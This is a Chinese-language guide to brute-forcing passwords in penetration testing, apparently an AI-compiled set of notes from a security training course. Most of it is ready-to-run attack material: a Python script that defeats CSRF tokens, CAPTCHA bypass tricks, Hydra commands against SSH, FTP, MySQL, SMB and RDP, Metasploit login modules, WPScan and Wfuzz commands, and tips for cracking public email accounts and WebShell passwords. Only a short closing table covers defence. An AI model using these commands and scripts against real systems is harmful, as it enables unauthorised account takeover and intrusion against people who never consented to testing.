7_渗透测试穷举完全指南
渗透测试穷举(暴力破解)完全指南
目录
- 穷举概述
- 穷举常见服务与端口
- Web后台密码穷举(BurpSuite基础篇)
- WebShell后门密码穷举
- 带Token防御的后台穷举(BurpSuite高级篇)
- 5.1 宏(Macro)自动获取Token
- 5.2 Python脚本绕过Token
- 带验证码的后台穷举及绕过技巧
- 6.1 Cookie缺失绕过验证码
- 6.2 验证码未销毁复用
- 6.3 验证码可识别(OCR)穷举
- 特定Web应用穷举
- 7.1 phpMyAdmin密码穷举
- 7.2 WordPress用户密码穷举(WPScan)
- 7.3 Apache Tomcat管理后台穷举(MSF模块)
- 端口服务穷举(Hydra工具)
- 8.1 Hydra常用参数说明
- 8.2 SSH服务穷举
- 8.3 FTP服务穷举
- 8.4 MySQL服务穷举
- 8.5 SMB服务穷举
- 8.6 HTTP/HTTPS表单穷举
- 8.7 其他服务(POP3、RDP、Telnet、IMAP等)
- 图形化穷举工具
- 9.1 xHydra
- 9.2 御剑RDP爆破工具
- 9.3 超级弱口令工具
- Metasploit穷举模块
- Wfuzz多线程Web穷举
- 邮箱密码穷举
- CobaltStrike TeamServer口令暴力破解
- 穷举防御建议
1. 穷举概述
穷举(暴力破解) 是指通过枚举所有可能的密码组合,尝试登录目标服务,从而获取合法凭证的攻击方式。
- 弱口令:如
123456、admin、password等,极易被穷举。 - 中度/强度口令:包含大小写、数字、特殊字符,穷举难度增大。
- 社工字典:根据用户生日、姓名、手机号等生成定制字典,提高成功率。
穷举对象包括:Web后台、WebShell、数据库、FTP、SSH、邮件、远程桌面、中间件管理后台等。
2. 穷举常见服务与端口
| 服务 | 默认端口 |
|---|---|
| Web(HTTP) | 80 |
| HTTPS | 443 |
| FTP | 21 |
| SSH | 22 |
| Telnet | 23 |
| SMTP | 25 |
| DNS | 53 |
| POP3 | 110 |
| IMAP | 143 |
| SMB | 445 |
| MySQL | 3306 |
| MSSQL | 1433 |
| PostgreSQL | 5432 |
| Redis | 6379 |
| Rsync | 873 |
| Tomcat | 8080 |
| RDP(远程桌面) | 3389 |
| CobaltStrike TeamServer | 50050 |
3. Web后台密码穷举(BurpSuite基础篇)
适用场景:登录表单无验证码、无Token等动态防护。
步骤:
- 设置代理:浏览器配置代理到 BurpSuite(127.0.0.1:8080)。
- 抓取登录请求:提交登录,截获POST/GET数据包。
- 发送到 Intruder:
- 将密码参数值设为变量(
§)。 - 在 Payloads 选项卡加载密码字典。
- 将密码参数值设为变量(
- 启动攻击:
- 观察 Status(如302表示重定向成功)或 Length(响应长度差异)。
- 通常正确密码返回的响应长度或状态码与错误不同。
4. WebShell后门密码穷举
场景:已上传或发现WebShell(如一句话木马),需破解其连接密码。
- 使用 BurpSuite 抓取访问 WebShell 的请求(如
cmd参数)。 - 将密码参数设为变量,加载字典进行穷举。
- 根据响应内容(如
password right)判断正确密码。
示例(ASP一句话木马):
execute("response.clear:response.write("password right"):response.end")
当返回包含 password right 时,表示密码正确。
专用工具:cheetah.py(支持asp/php/aspx/jsp)
python cheetah.py -u http://target.com/shell.php -r post -n 1000 -v -p pwd.list
5. 带Token防御的后台穷举(BurpSuite高级篇)
问题:登录表单包含隐藏的 user_token(CSRF令牌),每次刷新变化,直接穷举会因Token无效而失败。
5.1 宏(Macro)自动获取Token
原理:在每次请求前,先访问登录页获取最新Token,并自动替换到请求中。
BurpSuite配置步骤:
- Project options → Sessions → Session Handling Rules → 添加规则。
- Add → 选择 Run a macro。
- 定义 Macro:
- 选择获取登录页的GET请求。
- 在响应中定位Token值(如
user_token),使用 Add 自定义参数位置(正则匹配)。 - 指定参数名(必须与提交时的字段名一致)。
- 在 Scope 中设置规则生效的URL及工具(Intruder)。
- 配置完成后,Intruder 的每个请求都会先执行宏,自动更新Token。
5.2 Python脚本绕过Token
也可编写脚本,每次请求前请求登录页,正则提取Token,再携带Token提交密码。
import requests
import re
url = "http://target.com/login.php"
def login(password):
session = requests.session()
req = session.get(url)
token = re.search(r'[a-z0-9]{32}', req.text).group(0)
data = {"username":"admin","password":password,"user_token":token,"Login":"Login"}
resp = session.post(url, data=data, allow_redirects=True)
return resp.text
with open('passwords.txt') as f:
for pwd in f:
pwd = pwd.strip()
if 'success_keyword' in login(pwd):
print(f'Found: {pwd}')
break
6. 带验证码的后台穷举及绕过技巧
6.1 Cookie缺失绕过验证码
场景:某些验证码逻辑仅在存在会话Cookie时验证,删除Cookie后不再校验。
操作:抓包后删除Cookie头,继续穷举密码即可。
6.2 验证码未销毁复用
场景:登录失败后验证码未刷新(仍可使用同一验证码)。
- 先获取一个有效验证码,填写固定值。
- 在Burp中锁定验证码参数,只爆破密码。
6.3 验证码可识别(OCR)穷举
场景:验证码干扰少,可被OCR识别。
- 使用工具如 PKAV HTTP Fuzzer 或 Captcha-Killer 插件。
- 配置验证码识别接口(如Tesseract或第三方打码平台)。
- 设置验证码参数自动识别替换,同时爆破密码。
7. 特定Web应用穷举
7.1 phpMyAdmin密码穷举
- 抓取phpMyAdmin登录请求。
- 将密码设为变量,字典爆破。
- 观察响应(如跳转或返回内容)判断成功。
7.2 WordPress用户密码穷举(WPScan)
工具:WPScan(需注册API Token)。
- 枚举用户:
wpscan --url http://target.com -e u --api-token YOUR_TOKEN - 爆破指定用户:
wpscan --url http://target.com -U moonsec -P /path/to/passwords.txt
也可通过 http://target.com/wp-json/wp/v2/users 直接获取用户列表。
7.3 Apache Tomcat管理后台穷举(MSF模块)
使用 Metasploit 模块:
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS target_ip
set RPORT 8081
set PASSWORD_FILE /path/to/passwords.txt
run
8. 端口服务穷举(Hydra工具)
Hydra 支持数十种协议(ftp, ssh, mysql, smb, rdp, pop3, http-post-form 等)。
8.1 常用参数
| 参数 | 说明 |
|---|---|
-l user |
单个用户名 |
-L user.txt |
用户字典 |
-p pass |
单个密码 |
-P pass.txt |
密码字典 |
-C file |
冒号分隔的 user:pass 文件 |
-t 16 |
线程数 |
-vV |
显示详细过程 |
-f |
找到第一对后停止 |
-s port |
指定端口 |
-o outfile |
输出结果 |
8.2 SSH穷举
hydra -L users.txt -P passwords.txt -t 4 -vV -f ssh://192.168.1.100
hydra -l root -P top100.txt 192.168.1.100 ssh -vV -f
8.3 FTP穷举
hydra -l admin -P passlist.txt ftp://192.168.1.100 -vV -f
8.4 MySQL穷举
hydra -l root -P passwords.txt -s 3306 mysql://192.168.1.100 -vV
8.5 SMB穷举
hydra -l administrator -P pass.txt 192.168.1.100 smb -vV -f
8.6 HTTP POST表单穷举
hydra -l admin -P pass.txt 192.168.1.100 http-post-form "/login.php:user=^USER^&pass=^PASS^:Login failed"
^USER^ 和 ^PASS^ 为占位符,后面是失败标志字符串。
8.7 其他服务
- POP3:
hydra -L users.txt -P pass.txt pop3://target -vV - RDP:
hydra -l administrator -P pass.txt rdp://target -vV - Telnet:
hydra -l root -P pass.txt telnet://target -vV - IMAP:
hydra -L users.txt -p secret imap://target
9. 图形化穷举工具
9.1 xHydra
- 终端输入
xhydra启动。 - 选择目标、协议、用户/密码字典、线程等,可视化操作。
9.2 御剑RDP爆破工具
- 专用于远程桌面(RDP)密码爆破。
- 配置IP列表、用户名、密码字典,启动爆破。
9.3 超级弱口令工具
- 支持多种常见服务(FTP、MySQL、MSSQL、RDP、SSH等)。
- 图形界面,简单易用。
10. Metasploit穷举模块
MSF 提供了大量登录扫描模块,示例:
| 模块 | 服务 |
|---|---|
auxiliary/scanner/ftp/ftp_login |
FTP |
auxiliary/scanner/ssh/ssh_login |
SSH |
auxiliary/scanner/telnet/telnet_login |
Telnet |
auxiliary/scanner/smb/smb_login |
SMB |
auxiliary/scanner/mysql/mysql_login |
MySQL |
auxiliary/scanner/mssql/mssql_login |
MSSQL |
auxiliary/scanner/postgres/postgres_login |
PostgreSQL |
auxiliary/scanner/vnc/vnc_login |
VNC |
auxiliary/scanner/http/tomcat_mgr_login |
Tomcat |
使用示例(SSH):
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 > set RHOSTS 192.168.1.100
msf6 > set USERNAME root
msf6 > set PASS_FILE /path/to/passwords.txt
msf6 > set STOP_ON_SUCCESS true
msf6 > run
11. Wfuzz多线程Web穷举
Wfuzz 是强大的Web暴力破解工具,支持多参数、字典、过滤。
基本用法:
# 爆破密码参数,过滤响应状态码302和长度1549
wfuzz -c -z file,passwords.txt --sc 302 --hh 1549 -u "http://target.com/login.php" -d "user=admin&pw=FUZZ"
-z file,字典指定载荷--sc显示指定状态码--hc隐藏指定状态码--hh隐藏指定响应长度
12. 邮箱密码穷举
12.1 企业自建邮服
- 使用 Mail Cracker 等工具,针对 POP3/IMAP 端口爆破。
- 注意并发限制,可降低线程数。
12.2 公共邮箱(163、QQ等)
- 并发严格限制,通常需配合社工字典小规模尝试。
- 可使用自定义脚本,单线程低频率枚举。
13. CobaltStrike TeamServer口令暴力破解
Cobalt Strike 默认端口 50050,口令若设置简单,可被爆破导致控制权丢失。
使用 csbuster.py(Python3):
python3 csbuster.py <TeamServer_IP> /path/to/passwords.txt -t 20
- 工具通过SSL握手特征判断密码正确性。
- 成功后输出密码。
14. 穷举防御建议
| 防御手段 | 说明 |
|---|---|
| 强密码策略 | 要求长度≥8,含大小写、数字、特殊字符 |
| 登录失败锁定 | 连续失败N次后锁定账户/IP一段时间 |
| 验证码 | 使用复杂验证码(干扰多,不易OCR),且每次失败后刷新 |
| Token机制 | 使用CSRF Token,每次请求校验 |
| 双因素认证(2FA) | 增加动态口令或短信验证 |
| 限制请求频率 | 同一IP单位时间限制请求次数 |
| 监控告警 | 对异常大量失败请求进行实时告警 |
| 使用WAF | 拦截高频请求和恶意IP |
注意本笔记是源于暗月安全培训 https://edu.moonsec.com 的ai整合版

浙公网安备 33010602011771号